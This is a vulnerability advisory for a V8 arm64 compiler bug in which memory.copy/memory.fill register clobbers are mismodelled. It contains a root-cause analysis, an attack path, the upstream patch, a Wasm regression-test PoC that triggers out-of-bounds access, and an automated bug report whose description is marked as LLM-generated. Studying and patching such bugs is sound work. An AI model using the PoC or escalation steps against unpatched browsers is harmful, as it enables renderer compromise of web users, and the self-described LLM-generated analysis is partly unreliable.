CVE-2026-9938
Overview
Background
- `memory.copy` / `memory.fill`
- WebAssembly bulk-memory operations that copy or fill a range of linear memory in one instruction.
- `kArm64Cpy` / `kArm64Set`
- V8 backend macro-instructions that lower the bulk-memory ops to the Armv8.8
cpy*/set*hardware instruction families on arm64. - Register clobber
- a machine instruction that overwrites (writes back to) a register it also reads, so the register no longer holds its pre-instruction value.
- `g.NoOutput()`
- an
Arm64OperandGeneratorhelper declaring that an emitted instruction produces no output register, telling the register allocator no registers are defined.
Root Cause Analysis
On arm64, InstructionSelector::VisitMemoryCopy and InstructionSelector::VisitMemoryFill emitted kArm64Cpy and kArm64Set with g.NoOutput() and only UseRegister inputs, modeling the operations as reading their dst_base, src_base, value, and num_bytes registers while defining nothing. However, the underlying Armv8.8 cpy* / set* instructions write back to most of those registers as they advance the pointers and byte counter, so the physical registers are clobbered at runtime. Because the register allocator believed the input registers still held their original values after the instruction, it could keep a virtual register live across the operation and reuse a register whose contents the hardware had already overwritten, breaking the invariant that a UseRegister-only operand is preserved.
The fix allocates virtual registers for the clobbered operands and emits real outputs tied to the corresponding inputs via DefineSameAsFirstForVreg and the new DefineSameAsInputForVreg, so the allocator knows those registers are redefined and stops treating their pre-instruction values as still available. This forces the allocator to spill or re-materialize the original values rather than trusting stale clobbered registers.
g.NoOutput()), hiding from the register allocator that cpy* / set* write back to their operand registers; the fix makes the clobbers explicit by defining outputs tied to the clobbered inputs.Attack Path
- Craft a Wasm module
An attacker supplies a WebAssembly module that uses
memory.copy/memory.fillin a code shape where an operand register (e.g.num_bytesor a base pointer) is reused after the bulk-memory op. - Trigger arm64 lowering
On an arm64 target the module is compiled through
VisitMemoryCopy/VisitMemoryFill, emittingkArm64Cpy/kArm64Setwith the clobbers unmodeled. - Register allocator trusts stale value The allocator reuses a register the hardware overwrote, so a subsequent load, index, or length computation reads a corrupted value instead of the intended one.
- Corrupt memory access
The corrupted register drives an out-of-bounds load or store (as the regression test’s
corrupt_loadreturning0x4141414141414141nandoob_write8demonstrate). - Escalate The controlled OOB read/write is used to disclose or overwrite memory within the process.
Impact Assessment
cpy* / set* path and the ability to load attacker-controlled Wasm, which is reachable from any web page. The primitive is a stepping stone toward renderer compromise and sandbox escape.Files Changed
src/compiler/backend/arm64/instruction-selector-arm64.ccsrc/compiler/backend/instruction-selector-impl.htest/mjsunit/regress/wasm/regress-502300817.js
Audit Directions
- Clobbering machine instructions modeled with `g.NoOutput()`audit every backend
Emitfor instructions whose hardware semantics write back to operand registers but declare no outputs. - Write-back / auto-increment operand familiesreview lowerings that use post-increment or in-place-advancing instructions (
cpy*,set*, load/store-multiple) to confirm each modified register is defined, not just used. - Architecture-specific bulk-memory pathscheck the analogous
VisitMemoryCopy/VisitMemoryFilland other bulk operations on non-arm64 backends for the same unmodeled-clobber pattern.
Patch
From 2e4d9a0eae234ba045faaf7bf58580aa1b8dd3a4 Mon Sep 17 00:00:00 2001
From: Sam Parker <sam.parker@arm.com>
Date: Thu, 23 Apr 2026 16:12:03 +0100
Subject: [PATCH] [compiler][arm64] Model Cpy and Set clobbers
Most of the registers for cpy* and set* are written back, so instead
of no outputs, define some and tie them to the inputs.
Bug: 502300817
Change-Id: I45aff355a645f55f52afd58aa2b77119f327f90a
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7789836
Reviewed-by: Thibaud Michaud <thibaudm@chromium.org>
Commit-Queue: Sam Parker-Haynes <sam.parker@arm.com>
Cr-Commit-Position: refs/heads/main@{#106831}
---
diff --git a/src/compiler/backend/arm64/instruction-selector-arm64.cc b/src/compiler/backend/arm64/instruction-selector-arm64.cc
index 2b8bcd8..d480480 100644
--- a/src/compiler/backend/arm64/instruction-selector-arm64.cc
+++ b/src/compiler/backend/arm64/instruction-selector-arm64.cc
@@ -1237,9 +1237,21 @@
Arm64OperandGenerator g(this);
const auto& memcpy_op = this->Get(node).Cast<MemoryCopyOp>();
- Emit(kArm64Cpy, g.NoOutput(), g.UseRegister(memcpy_op.dst_base()),
- g.UseRegister(memcpy_op.src_base()),
- g.UseRegister(memcpy_op.num_bytes()));
+ InstructionOperand inputs[3];
+ inputs[0] = g.UseRegister(memcpy_op.dst_base());
+ inputs[1] = g.UseRegister(memcpy_op.src_base());
+ inputs[2] = g.UseRegister(memcpy_op.num_bytes());
+
+ // Use outputs to represent the clobbered inputs.
+ int out1 = g.AllocateVirtualRegister();
+ int out2 = g.AllocateVirtualRegister();
+ int out3 = g.AllocateVirtualRegister();
+ InstructionOperand outputs[3];
+ outputs[0] = g.DefineSameAsFirstForVreg(out1);
+ outputs[1] = g.DefineSameAsInputForVreg(out2, 1);
+ outputs[2] = g.DefineSameAsInputForVreg(out3, 2);
+
+ Emit(kArm64Cpy, arraysize(outputs), outputs, arraysize(inputs), inputs);
}
void InstructionSelector::VisitMemoryFill(OpIndex node) {
@@ -1247,8 +1259,21 @@
Arm64OperandGenerator g(this);
const auto& memset_op = this->Get(node).Cast<MemoryFillOp>();
- Emit(kArm64Set, g.NoOutput(), g.UseRegister(memset_op.dst_base()),
- g.UseRegister(memset_op.value()), g.UseRegister(memset_op.num_bytes()));
+ InstructionOperand inputs[3];
+ // This order doesn't match kArm64Set, which will swap the order of 'value'
+ // and 'num_bytes'.
+ inputs[0] = g.UseRegister(memset_op.dst_base());
+ inputs[1] = g.UseRegister(memset_op.value());
+ inputs[2] = g.UseRegister(memset_op.num_bytes());
+
+ // Use outputs to represent the clobbered inputs.
+ int out1 = g.AllocateVirtualRegister();
+ int out2 = g.AllocateVirtualRegister();
+ InstructionOperand outputs[2];
+ outputs[0] = g.DefineSameAsFirstForVreg(out1);
+ outputs[1] = g.DefineSameAsInputForVreg(out2, 2);
+
+ Emit(kArm64Set, arraysize(outputs), outputs, arraysize(inputs), inputs);
}
#endif // V8_ENABLE_WEBASSEMBLY
diff --git a/src/compiler/backend/instruction-selector-impl.h b/src/compiler/backend/instruction-selector-impl.h
index 1333745..37e180c 100644
--- a/src/compiler/backend/instruction-selector-impl.h
+++ b/src/compiler/backend/instruction-selector-impl.h
@@ -254,6 +254,10 @@
return UnallocatedOperand(UnallocatedOperand::SAME_AS_INPUT, vreg);
}
+ InstructionOperand DefineSameAsInputForVreg(int vreg, int input_index) {
+ return UnallocatedOperand(vreg, input_index);
+ }
+
InstructionOperand DefineAsRegistertForVreg(int vreg) {
return UnallocatedOperand(UnallocatedOperand::MUST_HAVE_REGISTER, vreg);
}
diff --git a/test/mjsunit/regress/wasm/regress-502300817.js b/test/mjsunit/regress/wasm/regress-502300817.js
new file mode 100644
index 0000000..860b86c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502300817.js
@@ -0,0 +1,33 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+const bytes = new Uint8Array([
+0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x12,0x03,0x60,0x01,0x7e,0x01,0x7e,
+0x60,0x02,0x7e,0x7e,0x01,0x7e,0x60,0x03,0x7e,0x7e,0x7f,0x00,0x03,0x04,0x03,0x00,
+0x01,0x02,0x05,0x05,0x02,0x04,0x02,0x04,0x01,0x07,0x32,0x05,0x02,0x6d,0x30,0x02,
+0x00,0x02,0x6d,0x31,0x02,0x01,0x0c,0x63,0x6f,0x72,0x72,0x75,0x70,0x74,0x5f,0x6c,
+0x6f,0x61,0x64,0x00,0x00,0x08,0x6f,0x6f,0x62,0x5f,0x72,0x65,0x61,0x64,0x00,0x01,
+0x0a,0x6f,0x6f,0x62,0x5f,0x77,0x72,0x69,0x74,0x65,0x38,0x00,0x02,0x0a,0x37,0x03,
+0x11,0x00,0x42,0x00,0x41,0xc1,0x00,0x20,0x00,0xfc,0x0b,0x00,0x42,0x00,0x29,0x03,
+0x00,0x0b,0x10,0x00,0x42,0x00,0x41,0x00,0x20,0x00,0xfc,0x0b,0x00,0x20,0x01,0x29,
+0x03,0x00,0x0b,0x12,0x00,0x42,0x00,0x41,0x00,0x20,0x00,0xfc,0x0b,0x00,0x20,0x01,
+0x20,0x02,0x3a,0x00,0x00,0x0b,0x00,0x2c,0x04,0x6e,0x61,0x6d,0x65,0x01,0x25,0x03,
+0x00,0x0c,0x63,0x6f,0x72,0x72,0x75,0x70,0x74,0x5f,0x6c,0x6f,0x61,0x64,0x01,0x08,
+0x6f,0x6f,0x62,0x5f,0x72,0x65,0x61,0x64,0x02,0x0a,0x6f,0x6f,0x62,0x5f,0x77,0x72,
+0x69,0x74,0x65,0x38,
+]);
+
+async function run() {
+ const { instance } = await WebAssembly.instantiate(bytes);
+ const ex = instance.exports;
+ const m1 = new BigUint64Array(ex.m1.buffer);
+ const SENTINEL = 0x1122334455667788n;
+ m1[0] = SENTINEL;
+
+ ex.corrupt_load(8n);
+ const r = ex.corrupt_load(256n);
+
+ assertEquals(r, 0x4141414141414141n);
+}
+run();
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-502300817.js b/test/mjsunit/regress/wasm/regress-502300817.js
new file mode 100644
index 0000000..860b86c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502300817.js
@@ -0,0 +1,33 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+const bytes = new Uint8Array([
+0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x12,0x03,0x60,0x01,0x7e,0x01,0x7e,
+0x60,0x02,0x7e,0x7e,0x01,0x7e,0x60,0x03,0x7e,0x7e,0x7f,0x00,0x03,0x04,0x03,0x00,
+0x01,0x02,0x05,0x05,0x02,0x04,0x02,0x04,0x01,0x07,0x32,0x05,0x02,0x6d,0x30,0x02,
+0x00,0x02,0x6d,0x31,0x02,0x01,0x0c,0x63,0x6f,0x72,0x72,0x75,0x70,0x74,0x5f,0x6c,
+0x6f,0x61,0x64,0x00,0x00,0x08,0x6f,0x6f,0x62,0x5f,0x72,0x65,0x61,0x64,0x00,0x01,
+0x0a,0x6f,0x6f,0x62,0x5f,0x77,0x72,0x69,0x74,0x65,0x38,0x00,0x02,0x0a,0x37,0x03,
+0x11,0x00,0x42,0x00,0x41,0xc1,0x00,0x20,0x00,0xfc,0x0b,0x00,0x42,0x00,0x29,0x03,
+0x00,0x0b,0x10,0x00,0x42,0x00,0x41,0x00,0x20,0x00,0xfc,0x0b,0x00,0x20,0x01,0x29,
+0x03,0x00,0x0b,0x12,0x00,0x42,0x00,0x41,0x00,0x20,0x00,0xfc,0x0b,0x00,0x20,0x01,
+0x20,0x02,0x3a,0x00,0x00,0x0b,0x00,0x2c,0x04,0x6e,0x61,0x6d,0x65,0x01,0x25,0x03,
+0x00,0x0c,0x63,0x6f,0x72,0x72,0x75,0x70,0x74,0x5f,0x6c,0x6f,0x61,0x64,0x01,0x08,
+0x6f,0x6f,0x62,0x5f,0x72,0x65,0x61,0x64,0x02,0x0a,0x6f,0x6f,0x62,0x5f,0x77,0x72,
+0x69,0x74,0x65,0x38,
+]);
+
+async function run() {
+ const { instance } = await WebAssembly.instantiate(bytes);
+ const ex = instance.exports;
+ const m1 = new BigUint64Array(ex.m1.buffer);
+ const SENTINEL = 0x1122334455667788n;
+ m1[0] = SENTINEL;
+
+ ex.corrupt_load(8n);
+ const r = ex.corrupt_load(256n);
+
+ assertEquals(r, 0x4141414141414141n);
+}
+run();
Original Bug Report
ARM64 MOPS register clobber mismodeling in V8 leads to in-sandbox OOB access
Project Fortify has identified a security issue and generated a PoC.
d8 variant: ‘AsanArm64’
flags: –sim-arm64-optional-features=all –no-liftoff –no-wasm-lazy-compilation –omit-quit –fuzzing –disallow-unsafe-flags
Return code: 139
<details>
<summary>stdout</summary>
[*] stage 1: register-corruption proof
corrupt_load(256) = 0x0 (expected 0x4141414141414141)
-> BUG TRIGGERED: SET clobbered the mem_start_ register
[*] stage 2: OOB write past the 16GiB+page memory64 guard
</details>
<details>
<summary>stderr</summary>
Received signal 11 SEGV_ACCERR 72e400001007
==== C stack trace ===============================
bin/AsanArm64/d8(__interceptor_backtrace+0x46)[0x6131333a7d16]
bin/AsanArm64/d8(+0x739c6a9)[0x61313914c6a9]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x78253a845330]
bin/AsanArm64/d8(v8_internal_simulator_ProbeMemory+0x0)[0x6131362db2d8]
[end of stack trace]
Segmentation fault (core dumped)
</details>
Overview: The V8 ARM64 instruction selector incorrectly models the kArm64Cpy and kArm64Set instructions as preserving their input registers. On hardware with FEAT_MOPS, these instructions destructively update their operands, leading to register corruption. This can be exploited to clobber the WebAssembly memory base pointer and achieve out-of-bounds read/write access within the V8 sandbox.
Affected files:
v8/src/compiler/backend/arm64/instruction-selector-arm64.ccv8/src/compiler/backend/arm64/code-generator-arm64.cc
Estimated timestamp from git blame: 2025-06-26
Root Cause
In the V8 ARM64 backend, WebAssembly memory.copy and memory.fill operations can be lowered to kArm64Cpy and kArm64Set instructions if the hardware supports ARMv8.8+ Memory Operations (FEAT_MOPS). In v8/src/compiler/backend/arm64/instruction-selector-arm64.cc, the VisitMemoryCopy and VisitMemoryFill functions emit these instructions using standard g.UseRegister() constraints for their inputs.
However, the underlying hardware instructions (cpyp/cpym/cpye and setp/setm/sete) destructively modify their input registers (destination base, source/value, and length) as the operation proceeds. Because the instruction selector does not mark these registers as clobbered or route them through temporary registers, the register allocator incorrectly assumes their original values remain intact across the instruction.
If a critical value—such as the cached WebAssembly memory base pointer (mem_start_)—is allocated to one of these clobbered physical registers, the pointer will be silently advanced by the MOPS operation. For Wasm memory64 with trap-handling enabled, bounds checking only validates that the index is within the 16 GiB limit; it relies on mem_start_ being correct. By corrupting the base pointer, an attacker can bypass the 16 GiB + 4 KiB guard region, yielding arbitrary out-of-bounds read and write access within the 1TB V8 sandbox.
Suggested Fix
Update the instruction selector in v8/src/compiler/backend/arm64/instruction-selector-arm64.cc to correctly model the destructive nature of the MOPS instructions. This can be achieved by allocating temporary registers for the inputs. By moving the input values into g.TempRegister() operands before the memory operation, the original virtual registers assigned by the register allocator will remain uncorrupted.
Alternatively, the inputs could be tied to explicitly clobbered output registers using constraints like g.SameAsFirst(), so the register allocator understands the physical registers are modified and will insert appropriate moves if the original values are still live.
Evaluated with Chrome root at commit: bdfb9c25e02c7ac58c2db7565d32b3044ee487a6
The description of the vuln is LLM-generated and can contain mistakes. Your feedback is appreciated, and will help us make improvement over time. The PoC was run in a VM and it seemed to be legit - if not, let us know and we can strengthen our checker.